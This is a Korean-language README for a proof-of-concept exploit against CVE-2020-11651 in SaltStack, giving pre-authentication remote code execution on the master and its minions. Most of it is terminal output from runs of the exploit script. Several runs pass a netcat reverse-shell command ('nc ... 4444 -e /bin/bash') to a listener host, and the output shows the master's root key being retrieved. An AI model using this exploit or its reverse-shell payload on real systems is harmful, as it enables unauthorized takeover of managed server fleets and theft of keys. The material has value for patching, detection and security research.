
CVE-2020-11651에 대한 개념 증명 익스플로잇입니다. salt.cmd 러너를 통해 SaltStack 마스터 및 미니언에서 사전 인증 원격 코드 실행을 달성합니다.
이것은 CVE-2020-11651에 대한 POC로, salt stack master 및/또는 모든 관련 minion에서 사전 인증 RCE를 획득합니다. 이슈에 대한 간단한 세부 정보는 여기에서 확인할 수 있습니다. 2020-11652에 대한 POC는 포함되지 않았습니다.
이는 salt.cmd의 runner를 cmd.exec_code 함수로 생성하여 master에서 명령 실행을 획득합니다. 상호작용 기능은 구현되어 있지 않으므로, 리버스 셸을 받아야 합니다.
Debian10 인스턴스에서 테스트되었습니다. 셸을 수신하고 전송하려면 ncat이 필요하며, 전송을 위해 pip3 install salt 라이브러리가 필요합니다.
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Got response for attempting master shell: {'tag': 'salt/run/20200504080050593352', 'jid': '20200504080050593352'}. Looks promising!
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Sending command to all minions on master
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 fetchkeyonly
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
user@debian10:~$
